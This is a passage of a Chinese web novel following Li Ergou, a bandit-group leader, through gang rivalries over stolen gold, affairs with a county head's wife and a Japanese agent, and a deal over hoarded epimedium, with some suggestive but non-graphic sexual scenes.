陈嘎子率先进了屋,他立马闻到屋中有一股淡淡的腥味,这个味道他太熟悉了。 他鄙夷地看了张石头裤裆一眼,张石头不好意思地笑了。 陈嘎子可没闲功夫关心这些,他直接说道:“石头,出大事了,咱们的那些金条和大洋都被人偷走了!” 张石头闻听此言,吃惊不小,谁敢在青山农场偷他们的金条,这不是找死吗? “被偷了?哪个狗日的敢在青山寨偷咱们的东西?活得不耐烦了?” 陈嘎子此时已经冷静下来,他恨恨地说道:“你想想还能有谁?肯定是孙连胜那个王八蛋偷的。” 张石头一听到孙连胜的名字,气就不打一处来。 在他的意识里,就是孙连胜窃取了他们在青山农场的位置。 “孙连胜这个王八蛋,老子这就去找他算账!” 陈嘎子呵斥道:“站住!石头,你做事情能不能动点脑子?” 张石头不解地问道:“怎么了?嘎子哥,咱们难道还怕他孙连胜不成?” 陈嘎子有时候真看不上张石头,但他也明白,只有张石头这样无脑子的人才会愿意跟随他左右。 “傻雏!我刚才已经去找过他了,他问我丢了什么,我没敢说!” 张石头的反应一如既往地无脑。 “你为啥不说?” 陈嘎子没有好气地质问道:“你让我怎么说?就说咱们丢了金条和大洋吗?” 张石头丝毫听不出陈嘎子对他的不满。 “对啊,咱们就是丢了金条和大洋,他要是不承认,老子宰了他!” 陈嘎子终于失去了耐心,他大声质问道:“你这头猪,咱们那些金条和大洋是怎么来的?你心里没数吗?” 张石头不明白陈嘎子为何如此大动肝火,丢了金条和大洋谁不着急? 可明明是你陈嘎子弄丢的,现在反倒质问起我来了?难道是其中另有隐情? “当然是咱们兄弟辛辛苦苦攒下来的!”张石头看陈嘎子不敢去找孙连胜,心中立刻有了其他想法,“嘎子哥,金条和大洋到底有没有丢?你可别吓唬我啊,我胆子小。” 张石头一抬屁股,陈嘎子就知道他要放什么味的屁。 “石头,你他娘的不会是怀疑我独吞那些金条吧?” 陈嘎子终于说出了他心里想问的话。 “嘎子哥,这可是你说的,我可没说啊。” 陈嘎子一巴掌拍在张石头脑袋上,痛骂道:“你这花岗岩脑袋,我真想撬开你脑壳,看看里面装的到底是什么!” 张石头一脸不服。 “既然真丢了,那我们就一起去找孙连胜,他要是不承认,咱们就宰了他!你到底怕什么?” 张石头习惯性地去床头找枪,却发现枪没有了。 “我枪呢?” “别找了,我的枪也没了。” “他奶奶的,赤手空拳咱们也不怵他,走!现在就去找他算账!” 陈嘎子一把拉住张石头。 “石头,你先冷静一下!” “我冷静不了!”张石头脸涨得通红,“没有了这些金条和大洋,难道咱们兄弟下山喝西北风吗?” 陈嘎子知道张石头脑子不灵光,只好耐心地劝道:“你能不能动脑子想一想,咱们哪来的那么多金条和大洋?这事要是让狗哥知道了,他会放过咱们吗?说不定这件事就是他在背后指使的。石头,这是个套子啊,人家现在就等着咱们去钻呢?” 张石头这才冷静下来。 “那怎么办?总不能就这样白白丢了吧?那可是咱们下半辈子的花销啊。” 张石头仿佛看到成群结队的小娘们在远离他的视线。 陈嘎子叹了口气,他心里又何尝不急! “石头,明天一早咱们就收拾行李去集团报到。” “不走了?为什么不走了?” 张石头铜铃般的大眼睛睁得和铜铃一般大。 “就像你说的,没有了那些金条和大洋,咱们下山喝西北风吗?” 其实陈嘎子心中还有其他打算,他打算先留下来,再想办法打听金条和大洋的下落。 第575章 我感觉自己都要干涸了 张石头本来就不想离开集团,可说出去的话如同泼出去的水,这样轻易就反悔,实在是有些丢人,其实他是一个要脸的男人。 “嘎子哥,可咱们都已经向狗哥辞职了,也在老三和望冬家中放了狠话,明天再回去,是不是有点……,再说,狗哥他能答应吗?” 陈嘎子知道李二狗平生最看重仁义二字,就是做给集团的人看,也不会把他们两个集团元老赶下山去。 “大不了咱们就给李二狗跪下求他,他还能把咱们都赶尽杀绝吗?这么多年,咱们跟随在他左右,就是一条狗,他也不能就这样一脚踢走吧?” 人穷志短,马瘦毛长,张石头此时也是无计可施。 “好吧,那我听你的。” “咱们明天一早就去集团,你早点睡吧。” 陈嘎子回到自己房间,门口依然有两个木头桩子一般站岗的土匪。 陈嘎子都没拿正眼瞧他们就直接进了屋。 自己得势的时候,他们就像一条哈巴狗围在自己身边,可如今这条哈巴狗已经变换了主人。 陈嘎子仰面躺在床上,越想越生气,他恨不得立马就把孙连胜这条李二狗的哈巴狗千刀万剐。 他在床上咒骂了孙连胜一夜。 只是他没有意识到,他在骂别人是哈巴狗的时候,自己又何尝不是别人的哈巴狗呢? 第二天一早,他就简单收拾一下行李,准备去集团报到。 刚出门,就遇见孙连胜和张廉捷。 “陈经理,这么早就出发啊,我和老张特地来送送你们。” “哼!” 陈嘎子是一个喜怒哀乐都挂在脸上之人,他毫不掩饰对孙连胜的憎恶之情。 孙连胜则是一个城府很深的人,虽然陈嘎子已经失去实权,但毕竟还是集团寨务会成员,该有的礼节还是不能少。 “陈经理,我已准备了马车,你和张经理还是坐马车去集团吧。” 他们带着行李,骑马毕竟不方便。 “猫哭耗子假慈悲!” 话虽这样说,陈嘎子和张石头还是坐上了马车。 集团通知他们八点报到,他们可不敢迟到。 来到清风农场,陈嘎子和张石头径直来到聚义厅。 陈老三正在里面办公,看到他们进来,并没有起身,而是问道:“嘎子,石头,你们是来告别的吧?” 陈嘎子恨不得找个地缝钻进去,昨晚说的大话言犹在耳,可现在却不得不食言。 “三哥,我和石头回去之后一夜未睡,想到这些年我们一起经历的风风雨雨,我们对集团和兄弟们怀有无比深厚的感情,还是舍不得走啊。” 张石头见陈嘎子戏份这么足,自己也赶紧抹起了眼泪。 “是啊,真是舍不得啊。” 陈老三微微有些惊讶,昨晚他们把话说的那么决绝,怎么这么快就改变主意了?实在是令人难以理解。 他虽然脑子愚笨,但也不至于相信什么感情深厚的说辞。 “那你们到底还走不走?” 陈嘎子十分坚定地说道:“我们决定不走了!我们要把自己有限的精力投入到集团无限的建设之中,奉献我们一生的力量。” “你们不是已经向狗哥辞职了吗?狗哥他知道吗?”陈老三一下子就问到了点子上。 “三哥,狗哥是不是还在家里?还得麻烦你去和他说一说我们的情况。” 在整个集团,能直接去李二狗家里的,只有陈老三、望冬和秀才三人,陈嘎子和张石头还没有资格进去。 陈老三故意说道:“这件事还得由你们亲自去和狗哥说,狗哥的脾气你们是了解的。” 陈嘎子只好说道:“那我们就在这里等着狗哥吧。” 关于陈嘎子和张石头的动向,孙连胜早已派人快马加鞭汇报给望冬,望冬又第一时间汇报给了李二狗。 李二狗当时只是一笑。 “望冬,待会儿我要去趟县城,集团的事你看着办吧。” 对于小事,望冬可以做主,可陈嘎子和张石头的事她还吃不准,毕竟两人是集团寨务会成员,属于集团领导层。 “狗哥,嘎子和石头的事……你得给我个准话啊。” 李二狗微微一笑。 “那就先晾他们两天。” 望冬有些没反应过来李二狗话里的意思,但李二狗已经骑马下山了。 来到江东县城,李二狗先去一家首饰店买了一只金手镯,他知道严婆惜喜欢什么。 只要严婆惜对李二狗死心塌地,孙竹刚就会被李二狗牢牢地掌控在手中,李二狗最擅长的就是走夫人路线。 来到孙竹刚家门口,李二狗整理了一下衣衫,好久没见严婆惜,他还真有点激动。 如果单论技巧,严婆惜是最令李二狗满意的女人。 李二狗抬手敲了敲院门,里面并没有动静。 “嫂子在家吗?” “来了!” 严婆惜听到日思夜想的声音,激动地赶紧跑来开院门。 李二狗看到一双放电的眼睛。 “二狗兄弟,这么久你去哪了?可想死嫂子了。” “出了趟远门,刚回来就来看嫂子了,这是我给嫂子带的礼物,希望嫂子喜欢。” 严婆惜直接把李二狗拉进门。 “喜欢喜欢,你送嫂子的礼物嫂子都喜欢。” 此时,再好的礼物也不及李二狗万一。 孙竹刚是一县之长,以他的身份地位,家里雇几个使唤老妈子根本不是什么难事。 可严婆惜却总是拒绝,她每次都说,自己喜欢干家务活,不喜欢被人伺候。 久而久之,孙竹刚也不再提这件事,严婆惜还赚了个勤俭持家的好名声。 只有她自己心里清楚,她是担心家里一旦有了佣人,就会不方便李二狗来家里。 她对李二狗的感情真不是几顿海鲜馅饺子所能表达的。 “嫂子,好久不见,你可越来越漂亮了。” 不管李二狗这话是真是假,严婆惜都当作真话来听。 “真的吗?好久没有雨露的滋润,我感觉自己都要干涸了。” 李二狗心里一阵荡漾,年少不知少妇好,却把少女当做宝。 “嫂子,都怪我,这么久没来看你。” “别说了,嫂子等不及了。” “嫂子……” “二狗……” 两人在卧室里,熟悉的炮声再次掀翻屋顶…… 第576章 你先把衣服穿上 李二狗回到胡家大院的时候已是满天繁星。 他下了马,刚要进门,就听到身后有个柔软的声音响起。 “二狗先生,别来无恙啊。” 在这个世界上,称呼李二狗为二狗先生的只有一个人,还是一个女人,这个人就是酒井空。 李二狗知道酒井空会找他,只是没想到她会直接找到胡家大院来。 想来已是迫不及待地想见到李二狗。 李二狗慢慢地转过身,脸上一点也没有惊讶之情,依旧保持着惯有的微笑。 “酒井小姐,好久不见,真没想到会在这里见到你。” “二狗先生,你知不知道,人家找你找得好辛苦,你是不是在故意躲着人家?” 酒井空竟撒起了娇,那声音嗲的,让李二狗这样见多识广的男人都全身发麻。 他努力让自己保持镇静,他知道自己的软肋是女人,绝不能让酒井空得逞。 “酒井小姐,你这话从何说起啊?我在自己家里,怎么还变成故意躲着你了?再说,我为什么要躲着你?” 酒井空看了一眼胡家大院高大的门楼和门前那两个洁白的石狮子,这是她花费了相当大的代价才打听到的地方。 “二狗先生,都到家门口了,难道你不请我进去坐坐吗?” 李二狗还真不想请她进去坐坐,他知道于兰芝是一个醋坛子,实在没有必要让她们碰面。 “酒井小姐可能还不知道我的身份,我只是胡家大院的一个管家,实在是不方便请你进去。” 酒井空柳眉一挑,妖娆地说道:“怕被他们知道咱俩的关系吗?” “咱俩的关系?”李二狗呵呵一笑,“咱俩什么关系?我倒是想听听酒井小姐怎么说?” 酒井空也是见过世面的女人,丝毫没被李二狗的气势所吓倒。 “我知道二狗先生绝对不是一个提上裤子不认人的男人。” 李二狗微微一笑,丝毫没有掉进酒井空的预设陷阱里。 “生意场上,男女之间灯红酒绿那点事在所难免,酒井小姐不会是当真了吧?” 此时酒井空无论是回答当真还是没当真,都会使自己陷入被动。 “你真讨厌!就知道欺负人家!” 酒井空又撒起了娇,她小粉拳不停地拍打在李二狗身上,让李二狗什么话都说不出来。 李二狗担心在院门口停留的时间过长,会引起胡家大院里面人的注意,便说道:“酒井小姐,天色已晚,我带你去个地方。” 酒井空没有问去哪,而是直接回答道:“好。” 李二狗玩笑道:“也不问问去哪就答应,难道你就不怕我把你卖了吗?” 酒井空俏脸微红,笑靥如花。 “你舍得吗?” 李二狗确实舍不得。 这个日本女人带给他的愉悦感是其他任何女人都无法比拟的。 “舍得倒是舍得,就怕没人愿意买,哈哈。” “你……讨厌。” 李二狗把酒井空带到自己在仙人洞镇的家中。 “这是哪?” 酒井空站在院门口,说内心一点不害怕是不可能的。 “这才是我家,你刚才不是说想到我家里坐坐吗?” “你一个人?” “怎么?我一个人还不够吗?” “你……” 酒井空被李二狗几句话撩拨的小脸通红,抛开一切不讲,这个男人的确是很讨自己喜欢,甚至有点欲罢不能的感觉。 进屋后,李二狗刚点着灯,酒井空便扑入李二狗怀中,急切地去寻找令她神魂颠倒的地方。 李二狗知道她此次前来的目的,如果先上床再谈事,无疑就让自己陷入了被动。 李二狗不可能让自己陷入被动。 “怎么?你不喜欢吗?”见李二狗一直躲避着自己,酒井空有些不解地问道。 “我很喜欢,但是我不喜欢不纯粹的喜欢。” “纯粹?你想怎么纯粹?”酒井空一边说一边开始褪去身上的衣服,“我对你一向是毫不保留的。” 李二狗内心一阵悸动,他没想到一向以温柔含蓄示人的日本女人竟如此的泼辣大胆。 酒井空贴在李二狗身上,那兰花一样的气息令人迷醉。 他突然转身,吹灭了桌上的灯,并一个闪身远离了酒井空。 “二狗先生,你……” “酒井小姐,我知道你深夜前来肯定是有事情找我,咱们不妨先把事情说清楚,其他的事稍后再议,你觉得怎么样?” 黑暗之中,酒井空只得偃旗息鼓。 “好,你先把灯点上,我有点怕。” “那你先把衣服穿上。” 酒井空没想到李二狗的定力竟如此之强,她只得在地上摸索了一会儿,找到地上的衣服一件一件穿在身上。 “好了,你点灯吧。” 话音刚落,灯便点着了,灯光映照着李二狗那张微笑的脸庞。 “二狗先生,你真的好讨厌……” 酒井空说着又要靠近李二狗,李二狗急忙阻止道:“酒井小姐,你如果还这样,那这灯还是亮不了。” 酒井空只好站在原地,一脸的无奈。 “你一定要这样吗?” “酒井小姐,咱们都是明白人,有些事不要绕来绕去,还是直说吧。” 李二狗说的如此直白,酒井空也不好再遮遮掩掩。 “二狗先生,其实我有很多苦衷,以前的很多事情都不是我能掌控的,我也是迫不得已啊。” 酒井空抹起了眼泪,表情十分悲伤。 “奥,迫不得已?那我倒想听听你的解释。” 酒井空一边哭一边说道:“我只是一个无足轻重的小人物,中国井伊商社的事情都是日本总社的人在掌控,他们决定的事情,我虽然极力反对,但也改变不了他们的决定,如果我不执行,他们就……” 酒井空抽泣的声音越来越大,想来是十分伤心。 “酒井小姐,你这又是后悔又是抹眼泪的,你说的到底是什么事情啊?” 酒井空知道李二狗是揣着明白装糊涂,她只能继续自己的悲情路线。 “就是收购淫羊藿的事情,二狗先生,请你相信我,我真的是迫不得已啊。” 李二狗微微一笑。 “酒井小姐,你们井伊商社收购淫羊藿是你们的事情,和我有什么关系?你没必要向我道歉啊?我一向秉持生意是生意,感情是感情,你们井伊商社的业务和我无关。” 酒井空完全懵了! 第577章 待宰的羔羊 “二狗先生,我有一件事想求你帮忙,请你一定不要拒绝我,好吗?” 已经没有后路的酒井空决定单刀直入,利用自己的温柔让李二狗就范。 李二狗狗精狗精的,又岂能看不出酒井空的小心思。 “你先说什么事?” 酒井空撒娇道:“你先答应人家,人家才说。” 李二狗笑道:“我要不答应,你就不说了是吗?” “二狗先生……”酒井空的颤音具有一种穿越时空的力量,“你就答应人家好不好嘛?人家求求你了。” 李二狗丝毫不为所动,李二狗不是一个见了女人就无法自拔的男人。 “你说吧,到底什么事?我一定尽力而为。” “二狗先生,”酒井空不知道什么时候又挪到李二狗身边,她挽住他的胳膊,柔声道:“我们井伊商社前段时间误判市场,囤积了大量的淫羊藿,我知道吴氏制药厂需要大量的淫羊藿,你能不能把我们商社的淫羊藿收购了?” 李二狗忍不住发出一阵爽朗的笑声。 “我当是什么事呢?这点小事还用你亲自跑一趟江东吗?” “二狗先生,真的吗?你真的愿意收购我们的淫羊藿吗?” 酒井空高兴地跳到李二狗身上,一顿疾风暴雨般的啃。 李二狗伸出舌头舔了舔湿乎乎的嘴唇,笑道:“当然,只要价格合理,我当然会优先购买你们的淫羊藿,我们是……朋友嘛。” 酒井空愣住了。 “价格合理”这四个字可谓大有玄机,井伊商社当初是花了大价钱才垄断了市场上的淫羊藿,没想到根本没有影响吴氏制药厂的生产。 “一夜八次丸”已经在日本本土大量上市,意味着井伊商社意图借助囤积淫羊藿迫使吴氏制药厂生产不出一夜八次丸的计划彻底破产。 这么多的淫羊藿囤积在手中,如果不能尽快出手,等市场价格跌回原来的价格,井伊商社的棺材板都得赔光。 “二狗先生,那咱们就按现在的市场价格成交好吗?” 李二狗心想,这个酒井空,已经死到临头了,还在这里演戏。 “好啊,你这个提议很合理。” 酒井空高兴坏了,她没想到李二狗会这么轻易就答应她的请求,本来她还打算使出自己吹拉吟唱的本事拿下他,结果他这么快就拜服在自己石榴裙下,中国男人确实受不了诱惑。 “太好了,二狗先生,我爱死你了,我们开始吧。” 酒井空迫不及待地去脱李二狗的衣服。 李二狗镇定地握住她的手:“你先别急。” “怎么?你要反悔吗?” “怎么会呢?我答应你的事情绝不会反悔,只不过有个特殊情况,我得提前告诉你。” 只要李二狗不反悔,再特殊的情况,酒井空也不怕。 “什么特殊情况?你快说,人家都等不及了嘛。” “我们吴氏制药厂现有淫羊藿的库存还能使用三个月,等三个月之后,我们一定按照市场价格收购你们商社的淫羊藿,这样好吗?” 酒井空双腿一软,摔倒在地上。 李二狗赶紧把她拉起来,关心地问道:“酒井小姐,你怎么了?是哪里不舒服吗?” 酒井空不是不舒服,她是绝望了。 别说三个月,就是三天,井伊商社也受不了。 淫羊藿的价格一路下跌,三个月之后,井伊商社将血本无归。 “二狗先生,我们等不了三个月,现在就收购可以吗?价格方面可以在现在市场价的基本再降一成。” 酒井空有一种挥泪大甩卖的气势。 但李二狗不是傻子,现在淫羊藿的市场价格比以前还是高出三倍不止。 目前从东北偷运过来的淫羊藿价格,加上路费和土匪的好处费也只是关内市场价的一半,李二狗不会因为酒井空床上功夫了得就拿这么大的生意开玩笑。 说白了,酒井空的身子不值这个价! “酒井小姐,我个人非常想帮你,可目前吴氏制药厂根本不缺淫羊藿啊。” “二狗先生,求求你,一定要帮帮我,不然我会被撤职的。”酒井空苦苦哀求道。 李二狗是个一见到女人就心软的人,酒井空梨花带雨的样子还真让他于心不忍。 但按目前的市场价格收购淫羊藿,即使他自己同意,静雯也绝不会同意,而且还会引来不必要的猜疑。 “酒井小姐,现在的市场价格还不算低,你们可以把货尽快出手。” 酒井空又何尝不想出手? 但井伊商社现在囤积了大量的淫羊藿,如果让这些淫羊藿短时间内大批流向市场,淫羊藿的市场价格瞬间就会跌到谷底,这是井伊商社不愿意看到的。 “价格降到八成好吗?二狗先生,只要你答应收购我们商社的淫羊藿,我愿意答应你的任何要求。” “酒井小姐,吴氏制药厂是我干爹吴有德的产业,有些事并不是我一个人说了算,希望你能理解我的难处。” 酒井空早就打探的一清二楚,吴氏制药厂就是李二狗说了算,他完全可以做主。 “二狗先生,如果我不是没有办法,我是绝对不会来麻烦你的,你不知道,如果我不能解决这件事,他们……他们会让我剖腹自杀的!” 李二狗惊讶道:“剖腹?让一个女人剖腹?你们日本怎么能这么无耻!” 酒井空哭得身子一抖一抖的,她紧紧地抱着李二狗的大腿不松手。 “我们日本就是一个男尊女卑的社会,我能坐到现在的位子不知道付出了多少心血,如果损失巨大,他们肯定会让我来承担这个责任的!二狗先生,求求你,只有你才能救我。” 酒井空此时就像一只待宰的羔羊,无论李二狗提出什么要求,她都会无条件的答应。 李二狗知道,酒井空的话不可全信,但也不全是谎言,如果不是走投无路,她不会表现的如此卑微。 李二狗沉默了片刻,还是不能接受酒井空的条件,他有些为难地说道:“酒井小姐,我知道你的难处,可我真的是爱莫能助啊。” “二狗先生,”酒井空把头贴在李二狗的大腿上,“你要不帮人家,人家就不起来了。” 第578章 以色侍人 李二狗为难了。 酒井空虽然是日本人,在生意上还时常给李二狗找麻烦,但她毕竟是李二狗的女人。 如今她放低姿态来求李二狗,甚至不惜付出一切代价,这时候让李二狗还袖手旁观,甚至落井下石,他是万万做不到的。 这不符合他做人的原则,他的女人他必须给提供安全感! “哎,也就是你,如果换做别人,我肯定不会答应。好了,起来吧,我答应你。” “真的吗?”李二狗的突然转变令酒井空喜极而泣,“二狗,你真的愿意帮我吗?” “当然是真的,我从来不骗女人。” 酒井空开心地再次跳到李二狗身上。 “二狗,你太好了,我要给你生狗崽子,现在就生。” 李二狗没有失去理智,先办事再办人是他一贯的原则。 “你也先别急着谢我,想让我们吴氏制药厂购买你们商社的这批淫羊藿可以,但是你们商社必须听我安排。” “好好,都听你的,但是价格上……二狗,我们商社真的赔不起啊!” 价格是成交的关键,李二狗自己吃了亏,岂能让井伊商社再赚便宜。 “我可以做到不让你们赔。你回去之后,先核算一下你们商社购入淫羊藿的平均成本,只能按照成本价卖给我,记住,我要看你们商社的入账凭证。” 至少按成本价卖出这批淫羊藿,是井伊商社给酒井空下达的最低要求。 李二狗看酒井空没有反对,心中更加确定自己的判断。 “另外,把你们商社购入的淫羊藿全部封存,没有我的命令绝对不允许流入市场,一旦发现有流入市场的行为,当即取消全部合作并扣押货款。” 第二狗提出的条件虽然略显苛刻,但酒井空根本没有讨价还价的资本。 她只能再次释放自己的温柔。 “二狗,能不能再给加一点?你知道的,去那么多的地方购货,仅路费一项就是很大的支出。” 李二狗根本不为所动,他愿意购买就已经对得起酒井空在床上的付出了。 他即使不答应,酒井空又能有什么办法? 李二狗最不缺的就是女人。 “酒井小姐,现在这样已经让我很为难了,你也许还不知道,从我们现有的渠道购买淫羊藿,价格只是现在市场价的一半,而且要多少有多少,我完全是看在咱们感情的份上才答应帮你的。” 酒井空沉默了片刻,突然问道:“二狗,有一件事情我一直很好奇,我们几乎已经把能买的淫羊藿都买尽了,你们是从哪里购买的淫羊藿?” 李二狗微微一笑,脸上浮现出得意的笑容。 “我们中国地大物博、幅员辽阔,一个省的面积都比你们日本国土还大,区区一点淫羊藿又岂能难得住我们?” 酒井空半信半疑地看着李二狗,她知道他的这些话并不能全信,可他确实购买到了大量的淫羊藿。 难道是从北边的满洲国购买的? 但满洲国已经限制淫羊藿的买卖,而且从满洲国到关内,关卡重重,他们不可能把如此大量的药材运到关内的? “二狗先生,你就告诉人家嘛?人家就是好奇嘛!” “酒井小姐,我们中国有句古话,叫好奇害死猫,女人可不要这么好奇,会吃亏的!” 酒井空见问不出自己想知道的问题,便改变了策略。 “二狗先生,抱我上床好吗?人家想好好感谢感谢你。” 面对酒井空这个小小的要求,李二狗欣然应诺。 他抱起酒井空就上了床。 两人虽许久未见,但配合起来却毫无隔阂,那种一进一出的默契令两人都欲罢不能。 李二狗就是这样的男人,他绝不会在床上亏待对他尽心尽力的女人。 “空儿,你们商社的淫羊藿按购入价卖给我,但我会额外拿出购买价的一成送给你个人,你存好了,够你下半辈子使用了。” 酒井空被李二狗感动得涕泪涟涟,她彻底被征服了。 “狗儿,不管中日这两个国家以后怎么样,但我和你永远都是彼此最好的人生知己。” 李二狗也有些动情。 “我对你好是因为你值得,和你是哪国人无关。” “狗儿,以后我就是你的女人,什么事我都听你的。” 这些年的床帏生涯,李二狗总结出一个人生经验。 无论男人还是女人,在床上说的话在当时听听就好,可以当作男女进行双人运动时的添加剂,但绝对不能当真,否则会吃亏的。 也许你在床上说这话的时候,自己都以为自己说的是真心话,但那只是你身体里的荷尔蒙和多巴胺在作祟,绝对不能当真。 人一旦回归现实,在牵扯到自己切身利益的时候,最先考虑的肯定还是自己。 这不是他说话不算数,而是人的本性使然。 正所谓人不为己,天诛地灭! 酒井空是日本特务机构精心培养的特务,虽然现在她是以商人的身份在中国活动,是一颗潜伏的暗棋,但一旦中日之间爆发大规模的冲突,她随时会被启用。 到时候,不是你死就是我亡,人有时候是无法完全按照自己的意愿来做事情的。 酒井空不行,李二狗也不行。 “空儿,我只希望你好好的,拿着这些钱回日本过自己想要的生活吧,或者在中国找一个地方住下来,有些事情不是你们女人能参与的。” 酒井空内心深处也渴望过上那种男耕女织、相夫教子的生活,但她现在已经加入了土肥原贤三的特务机构,除非死,不然绝对不可能退出。 曾经她为了改变命运以色侍人,可现在命运改变了,她还是不得不以色侍人。 这就是她的命! 好在李二狗是一个重情重义的男人,本来是她有错在先,想通过囤积淫羊藿迫使李二狗就范。 只是没想到不仅没起到作用,还把自己陷入到悬崖边上。 如果不是李二狗出手搭救,她这次就真的要付出惨痛的代价。 她不愿意再去想这些事情,她只想得到片刻的欢愉。 “狗儿,我还要!” 第579章 山头 第二天,李二狗送走酒井空后,回到清风集团。 他在去省城之前,必须先把集团的一些事情处理好,这样他才能走的安心。 他没有召集大家开会,而是把望冬叫到家中。 陈老三对李二狗只叫望冬不叫自己的行为相当不满,但也只能不满。 望冬喜不自胜,扭着二尺三的小蛮腰就来到李二狗家中。 “狗哥,嘎子和石头这两天一直在找你,你见还是不见?” 李二狗之所以单独把望冬叫过来就是为了提前了解一下陈嘎子和张石头的动向。 “他们怎么样?” 望冬一愣,不明白李二狗话里的意思。 “怎么样?我看他们这两天总是一副心事重重的样子,应该是不太好。” 不好就对了,李二狗故意晾他们几天就是为了达到这个效果。 “望冬,上次粘杆处的人盗取了嘎子他们的金条和大洋,我相信他们绝对不会善罢甘休,这次他们之所以反悔选择留下来,除了没有地方可去之外,我想他们应该是想找个机会找回那些金条和大洋。” 望冬把丰腴的胸脯拍的“砰砰”作响。 “狗哥,你放心,粘杆处的人都是我精挑细选的可靠之人,消息绝对不会外泄。” 李二狗满意地点了点头。 “如果我猜的没错,嘎子他们肯定认为是孙连胜盗取了他的金条和大洋,他们之间早晚会有一场交锋。” 望冬听后不免吃了一惊。 “狗哥,那怎么办?可不能让他们产生冲突啊,那样损失的就是咱们集团的力量。” 对此,李二狗有不同的看法。 以前集团是清风寨的时候,因为地盘小,人员也少,那时候必须抓好队伍的团结,把大家的力量拧成一股绳。 创业时期,举步维艰,大家为了一个共同的目标也很容易拧成一股绳。 但成立集团之后,地盘大了,人变多了,矛盾自然也就增多了,因为此时集团已经有了一定的积累,大家受到的诱惑不可避免地也多了起来。 为了争夺更多的利益,一些志趣相投或者有共同对手的人很自然地就会聚集在一起,这时候就不可避免地会出现一些山头。 山头的出现是集团发展到一定阶段必然会出现的事物,是任何人或者任何力量都阻止不了的。 山头与山头之间因为有李二狗这样一个强势领导的存在,目前至少在表面上会维持一个和平相处的状态,但私底下肯定会产生各种各样的冲突。 李二狗需要做的不是打压事实上已经存在的各个山头,而是维持各个山头之间的平衡。 让他们在相互争斗的同时也相互牵制,谁也无法消灭谁,谁也无法取代谁,让他们在竞争中求生存,只有这样,李二狗才能坐稳集团董事长的位子。 如果李二狗采取措施打压各个山头,各个山头为了自保,也许会抱成一团共同对付李二狗,这是李二狗最不愿意看到的。 时不时地敲打一下某个山头,在敲打的同时也对其他山头起到震慑的作用,这是李二狗计划做也正在做的。 但是敲打归敲打,绝对不能一棍子打死! 不然下次再敲打某个山头的时候就会遇到激烈的反抗。 “望冬,你觉得咱们集团是江湖吗?” 李二狗突如其来的问题把望冬问懵了。 “江湖?咱们集团怎么会是江湖呢?” 李二狗笑问道:“不是江湖,那是什么?” 望冬十分肯定地说道:“当然是在你英明领导下一个团结友爱的大家庭啊。” 李二狗笑了。 “望冬啊,你记住,有人的地方就有江湖,有江湖的地方就会有纷争,这是事物发展的必然规律,是我们任何人都阻止不了的。” “不管是不是江湖,只要有你在,我就安心,嘻嘻。” 望冬作为李二狗的小迷妹,她什么表现李二狗都不会感到奇怪。 “望冬,我和你说了这么多,你就没有点别的想法吗?” “什么想法?我就知道,听你的准没错,嘻嘻。” 李二狗彻底无语了。 望冬对李二狗的忠心绝对没有问题,但能力方面确实还不足以管理整个集团,李二狗不在集团的时候还得依仗秀才。 “望冬,你安排人把秀才叫来,然后通知陈嘎子和张石头,半个小时后到议事厅等我。” 望冬离开后,李素文从里屋走出来。 “二狗,望冬只是个女人,有些事你别太难为她了。” 李二狗笑道:“你难道看不出来吗?望冬很喜欢现在的感觉。” “你们一群男人,就她一个女人,哎,实在是太难为她了。” “我这也是没有办法,整个集团,咱们真正的自己人只有老三和望冬,老三什么样你我都清楚,只能依靠望冬,除非你能亲自出马。” 李素文一直赋闲在家,其实她也渴望有自己的一番事业,但上次的教训过于惨痛,她至今无法原谅自己。 “我发过誓,不再过问山寨之事,我不能违背自己的誓言,不然其他人怎么看我?对你的影响也不好。” 李素文言辞恳切,李二狗深受触动。 “素文,有些事你可以给望冬出出主意,做一个幕后指挥的老佛爷也可以。” “讨厌,你才是老佛爷呢,哼。” 李素文嘴上虽这样说,但内心还是一阵悸动。 看着望冬干得热火朝天,她又岂能心甘情愿地在家守着锅碗瓢盆打发生活。 李二狗早就看穿了李素文的小心思。 “我不在集团的时候,我会让望冬来多向你汇报集团的情况。” 李素文并没有拒绝,而是给了李二狗一个热吻。 李二狗进入议事厅的时候,陈嘎子和张石头已经在里面等候了。 看到李二狗进来,他们马上恭敬地站起来。 “狗哥。” 李二狗没有回应,而是径直坐到自己的位子上,然后意味深长地看了他们一眼。 李二狗没说让他们坐,他们就只能站着。 “我听说你们这两天一直在找我?交辞职信吗?” 陈嘎子顿时汗如雨下,他一直以为李二狗已经默许他们留在山寨。 第580章 我本将心向明月 陈嘎子悄悄吞咽了几口唾沫,努力使自己那颗不安的心平静一些。 “狗哥,我和石头舍不得离开集团,舍不得离开你和兄弟们,我们……我们都想留下来,继续为集团建设发光发热。” 李二狗冷笑一声,猛地一拍桌子。 “陈嘎子,集团岂是你们想留就留想走就走的地方?你们把集团当成什么了?你以为这是小孩过家家吗?你眼里到底还有没有我李二狗?” 面对这突如其来的喝问,陈嘎子和张石头当场呆住了。 两人对视一眼之后,突然“扑通”一声,双双跪倒在李二狗面前。 “狗哥,我们错了,以后再也不敢了,请你让我们留下来吧。” 李二狗故意表现出一副怒其不争的样子。 “陈嘎子、张石头,我对你们两个很失望,非常失望,特别失望。” “狗哥,我们真的知道错了,我们舍不得离开你啊。” 看着他们干打雷不下雨,连一滴悔恨的泪水都没有,李二狗更加失望。 他大声质问道:“好,既然你们都知道错了,那你们给我说一说,你们究竟错在哪里了?” 陈嘎子看向张石头,张石头则一直低着头,根本不与他对视。 陈嘎子没有办法,只好先说道:“狗哥,我……我错在不服从你的命令,不能理解你的良苦用心,还有,还有……我对集团的决定有对抗情绪。” 听了陈嘎子的反思,李二狗对他彻底失望了。 自我检讨避重就轻、避实就虚、蜻蜓点水、浮于表面,对于自身的错误根本没有意识到,或者说根本不愿意承认,这样的人绝对不能委以重任。 “石头,你呢?” 张石头以为陈嘎子说完,李二狗不会再问自己,没想到还是点了自己的名。 他慌慌张张地说道:“我和嘎子犯的错误是一样一样的,狗哥,我们真的知道错了,下次再也不敢了,你就让我们留下来吧。” “是啊,狗哥,你就让我们留下吧,以后我们哥俩做牛做马报答你。” 失望归失望,但只要他们不主动提出来离开,李二狗就不会撵他们走,大家毕竟兄弟一场,李二狗还是下不了这个狠心。 但这样的人留在山寨,尤其还是寨务会成员,如果不加以限制,必将后患无穷。 “你们两个起来吧,你们作为集团寨务会成员,是集团高层,这个样子让其他人看到成何体统?” 张石头刚要起身,被陈嘎子一把拉住了。 “狗哥,你要是不同意我们留下来,我们就跪着不起了。” 